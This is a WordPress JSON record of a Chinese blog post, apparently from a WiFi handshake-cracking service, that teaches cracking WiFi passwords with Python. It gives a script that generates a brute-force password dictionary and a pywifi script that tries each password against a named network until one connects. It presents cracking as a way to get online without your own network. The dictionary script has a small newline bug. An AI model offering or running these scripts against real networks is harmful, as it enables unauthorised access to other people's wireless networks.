{"id":3064,"date":"2024-03-23T03:34:30","date_gmt":"2024-03-22T19:34:30","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=3064"},"modified":"2024-03-23T03:34:30","modified_gmt":"2024-03-22T19:34:30","slug":"%e6%80%9d%e8%b7%af%e6%ba%90%e7%a0%81%e5%88%a9%e7%94%a8python%e7%a0%b4%e8%a7%a3wifi5481","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/03\/23\/%e6%80%9d%e8%b7%af%e6%ba%90%e7%a0%81%e5%88%a9%e7%94%a8python%e7%a0%b4%e8%a7%a3wifi5481\/","title":{"rendered":"\u601d\u8def+\u6e90\u7801\uff0c\u5229\u7528Python\u7834\u89e3WIFI\u5bc6\u7801\u8be6\u89e3\uff0c100M\u7684\u5b57\u5178\u5df2\u5907\u597d"},"content":{"rendered":"<div>\n<p>\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 <strong><a href=\"https:\/\/ccwifi.cc\" target=\"_blank\" rel=\"noopener\">\u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n<p>\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd \u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u7bc7\u65b0\u7684\u6559\u7a0b<\/p>\n<p>\u5e0c\u671b\u5404\u4f4d\u7ec6\u5fc3\u5b66\u4e60 \u4f4e\u8c03\u7528\u7f51<\/p>\n<\/div>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711136067531_0.png\" alt=\"python wifi\u5bc6\u7801\u5b57\u5178\u6559\u7a0b\"><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711136067531_1.jpg\" alt=\"python wifi\u5bc6\u7801\u5b57\u5178\u6559\u7a0b\"><\/p>\n<p>\u5f15\u8a00  \u7834\u89e3WIFI\u662fPython\u7a0b\u5e8f\u5458\u5fc5\u5907\u7684\u6280\u80fd\u4e4b\u4e00\u3002\u5982\u4eca\uff0cWIFI\u5df2\u7ecf\u666e\u53ca\u5230\u4e86\u6bcf\u4e2a\u89d2\u843d\uff0c\u5bf9\u4e8ePython\u7a0b\u5e8f\u5458\u6765\u8bf4\uff0c\u6ca1\u6709\u7f51\u7edc\u4e5f\u4e0d\u518d\u662f\u95ee\u9898\uff01\u60f3\u8981\u8fdb\u884cWIFI\u7834\u89e3\uff0cPython\u548c\u5b57\u5178\u662f\u5fc5\u4e0d\u53ef\u5c11\u7684\u5de5\u5177\u3002\u5f31\u53e3\u4ee4\u4e5f\u662f\u7834\u89e3\u7684\u6838\u5fc3\u6240\u5728\u3002\u6784\u5efa\u4e00\u4e2a\u5f3a\u5927\u7684\u5b57\u5178\uff0c\u4f60\u5c31\u80fd\u591f\u7834\u89e3\u66f4\u591a\u7684WIFI\u5bc6\u7801\u3002\u5982\u679c\u60a8\u60f3\u83b7\u53d6\u5927\u91cfPython\u5b66\u4e60\u8d44\u6599\uff0c\u8bf7\u79c1\u4fe1\u5c0f\u7f16001\uff01<\/p>\n<pre><code>import itertools\nkey = '0123456789.qwertyuiopasdfghjklzxcvbnm'#\u5bc6\u7801\u5305\u542b\u8fd9\u4e9b\u5b57\u7b26\npasswords = itertools.product(key,repeat = 3)\nf = open('password.txt','a')\nfor i in passwords:\n    f.write(\"\".join(i))\n    f.write('n')\nf.close()<\/code><\/pre>\n<p>\u539f\u7406  WIFI\u7834\u89e3\u7684\u539f\u7406\u662f\u901a\u8fc7\u64cd\u7eb5\u7f51\u5361\uff0c\u9010\u4e2a\u5c1d\u8bd5\u5bc6\u7801\u672c\u4e2d\u7684\u5bc6\u7801\uff0c\u76f4\u5230\u627e\u5230\u6b63\u786e\u7684\u5bc6\u7801\uff0c\u8fd9\u6837\u7535\u8111\u5c31\u80fd\u591f\u8fde\u63a5\u5230\u8be5WIFI\u7f51\u7edc\u4e0a\u3002Python\u811a\u672c\u7684\u4f5c\u7528\u5c31\u662f\u9010\u4e2a\u5c1d\u8bd5\u5bc6\u7801\u672c\u4e2d\u7684\u5bc6\u7801\uff0c\u5982\u679c\u627e\u5230\u6b63\u786e\u7684\u5bc6\u7801\uff0c\u5c31\u4f1a\u521b\u5efa\u4e00\u4e2a\u4ee5WIFI\u540d\u79f0\u547d\u540d\u7684\u6587\u4ef6\uff0c\u5e76\u5c06\u6b63\u786e\u7684\u5bc6\u7801\u8bb0\u5f55\u5728\u5176\u4e2d\u3002\u751f\u6210\u5b57\u5178\u7684Python\u4ee3\u7801\u53ef\u4ee5\u4f7f\u7528itertools\u5305\u6765\u5b9e\u73b0\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711136067531_2.png\" alt=\"python wifi\u5bc6\u7801\u5b57\u5178\u6559\u7a0b\"><\/p>\n<p>pywifi\u6a21\u5757  pywifi\u6a21\u5757\u65e0\u6cd5\u901a\u8fc7pip install\u8fdb\u884c\u5b89\u88c5\u3002\u60a8\u9700\u8981\u4ecepywifi\u5b98\u65b9\u6587\u6863\u4e0b\u8f7d\u538b\u7f29\u5305\uff0c\u7136\u540e\u5c06\u5176\u89e3\u538b\u5e76\u590d\u5236\u5230Libsite-packages\u8def\u5f84\u4e0b\uff0c\u6700\u540e\u53cc\u51fb\u8fd0\u884csetup.py\u8fdb\u884c\u5b89\u88c5\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1711136067531_4.png\" alt=\"python wifi\u5bc6\u7801\u5b57\u5178\u6559\u7a0b\"><\/p>\n<pre><code>import pywifi\nimport time\nfrom pywifi import const\nclass PoJie():\n    def __init__(self,name):\n        self.name = name\n        wifi = pywifi.PyWiFi()  # \u6293\u53d6\u7f51\u5361\u63a5\u53e3\n        self.iface = wifi.interfaces()[0]#\u83b7\u53d6\u7f51\u5361\n        self.iface.disconnect()  # \u65ad\u5f00\u6240\u6709\u8fde\u63a5\n        time.sleep(1)\n        if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:  # \u6d4b\u8bd5\u662f\u5426\u5df2\u7ecf\u65ad\u5f00\u7f51\u5361\u8fde\u63a5\n            print(\"\u5df2\u7ecf\u6210\u529f\u65ad\u5f00\u7f51\u5361\u8fde\u63a5\")\n        else:\n            print(\"\u7f51\u5361\u8fde\u63a5\u65ad\u5f00\u5931\u8d25\")\n    def solve(self):\n        x = 1\n        f = open('password.txt','r')\n        lines = f.readlines()\n        for line in lines:\n            print('\u6b63\u5728\u5c1d\u8bd5\u7b2c%d\u6b21'%(x))\n            x += 1\n            profile = pywifi.Profile()#\u521b\u5efawifi\u914d\u7f6e\u5bf9\u8c61\n            profile.ssid = self.name#wifi\u540d\u79f0\n            profile.key = line#WiFi\u5bc6\u7801\n            profile.auth = const.AUTH_ALG_OPEN#\u7f51\u5361\u7684\u5f00\u653e\n            profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi\u52a0\u5bc6\u7b97\u6cd5\uff0c\u4e00\u822c\u662f WPA2PSK\n            profile.cipher = const.CIPHER_TYPE_CCMP#\u52a0\u5bc6\u5355\u5143\n            self.iface.remove_all_network_profiles()#\u5220\u9664\u6240\u6709\u7684wifi\u6587\u4ef6\n            tem_profile = self.iface.add_network_profile(profile)#\u6dfb\u52a0\u65b0\u7684WiFi\u6587\u4ef6\n            self.iface.connect(tem_profile)#\u8fde\u63a5\n            time.sleep(3)#\u8fde\u63a5\u9700\u8981\u65f6\u95f4\n            if self.iface.status() == const.IFACE_CONNECTED:#\u5224\u65ad\u662f\u5426\u8fde\u63a5\u6210\u529f\n                print(\"\u6210\u529f\u8fde\u63a5\uff0c\u5bc6\u7801\u662f%s\"%(line))\n                break\n            else:\n                print(\"\u8fde\u63a5\u5931\u8d25\uff0c\u5bc6\u7801\u662f%s\"%(line))\nif __name__ == \"__main__\":\n    name = 'Honor V10'\n    obj = PoJie(name = name)\n    obj.solve()\n<\/code><\/pre>\n<p>\u4ece\u811a\u672c\u7684\u89d2\u5ea6\u6765\u770b\uff0c\u6bcf\u6b21\u5c1d\u8bd5\u4e00\u4e2a\u5bc6\u7801\u9700\u89812\u79d2\u7684\u65f6\u95f4\u3002\u5373\u4f7f\u662f\u5bf9\u4e8e8\u4f4d\u7eaf\u6570\u5b57\u5bc6\u7801\u7684\u5c1d\u8bd5\uff0c\u6240\u9700\u7684\u65f6\u95f4t\u4e3a\uff1a\uff08\u8ba1\u7b97\u516c\u5f0f\u7701\u7565\uff09\u3002\u8fd9\u8fd8\u53ea\u662f\u9488\u5bf98\u4f4d\u7eaf\u6570\u5b57\u5bc6\u7801\u7684\u60c5\u51b5\u3002\u56e0\u6b64\uff0c\u60f3\u8981\u901a\u8fc7pywifi\u7834\u89e3\u5bc6\u7801\u51e0\u4e4e\u662f\u4e0d\u53ef\u80fd\u7684\u3002\u5f53\u7136\uff0c\u60a8\u53ef\u4ee5\u901a\u8fc7\u591a\u7ebf\u7a0b\u7b49\u65b9\u6cd5\u6765\u7f29\u77ed\u7834\u89e3\u65f6\u95f4\u3002\u4f46\u662f\uff0c\u5982\u679c\u60a8\u4e0d\u5e78\u5fd8\u8bb0\u4e86\u67d0\u4e2aWIFI\u7684\u5bc6\u7801\uff0c\u4f46\u662f\u77e5\u9053\u5b83\u53ef\u80fd\u662f\u51e0\u4e2a\u6216\u51e0\u5341\u4e2a\u5bc6\u7801\u4e2d\u7684\u4e00\u4e2a\uff0c\u90a3\u4e48\u60a8\u53ef\u4ee5\u4f7f\u7528\u811a\u672c\u6765\u627e\u56de\u5bc6\u7801\u3002\uff08\u5f53\u7136\uff0c\u76f4\u63a5\u91cd\u7f6eWIFI\u53ef\u80fd\u66f4\u5feb\u2026\uff09\u5982\u679c\u60a8\u771f\u7684\u60f3\u8981\u7834\u89e3WIFI\u5bc6\u7801\uff0c\u8fd8\u662f\u5efa\u8bae\u5728\u865a\u62df\u673a\u4e2d\u8fdb\u884c\u64cd\u4f5c\u66f4\u4e3a\u53ef\u9760\u3002\u4ee5\u4e0b\u662fPython\u7684\u5b8c\u6574\u6e90\u4ee3\u7801\uff1a<\/p>\n<p><!-- \u6587\u7ae0\u6765\u6e90:https:\/\/www.toutiao.com\/article\/6831056466426724867\/? --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u601d\u8def+\u6e90\u7801\uff0c\u5229\u7528Python\u7834\u89e3WIFI\u5bc6\u7801\u8be6\u89e3\uff0c100M\u7684\u5b57\u5178\u5df2\u5907\u597d\u524d\u8a00WIFI\u7834\u89e3\uff0cPython\u7a0b\u5e8f\u5458\u5fc5\u5b66\u6280\u80fd\u3002WIFI\u5df2\u7ecf\u5b8c\u5168\u666e\u53ca\uff0c\u73b0\u5728Python\u7a0b\u5e8f\u5458\u6ca1\u7f51\uff0c\u8d70\u5230\u54ea\u91cc\u90fd\u4e0d\u6015\uff01\u60f3\u8981WIFI\u7834\u89e3\uff0cpython+\u5b57\u5178\uff0c\u8fd9\u662f\u662f\u5c11\u4e0d\u4e86\u7684\u3002\u70ed\u70b9\u52a0\u5f31\u53e3\u4ee4\u4e5f\u662f\u6838\u5fc3\u3002<\/p>\n","protected":false},"author":1,"featured_media":3065,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"topic":[],"class_list":["post-3064","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/3064","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/comments?post=3064"}],"version-history":[{"count":0,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/posts\/3064\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media\/3065"}],"wp:attachment":[{"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/media?parent=3064"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/categories?post=3064"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/tags?post=3064"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.ccwifi.cc\/blogs\/wp-json\/wp\/v2\/topic?post=3064"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}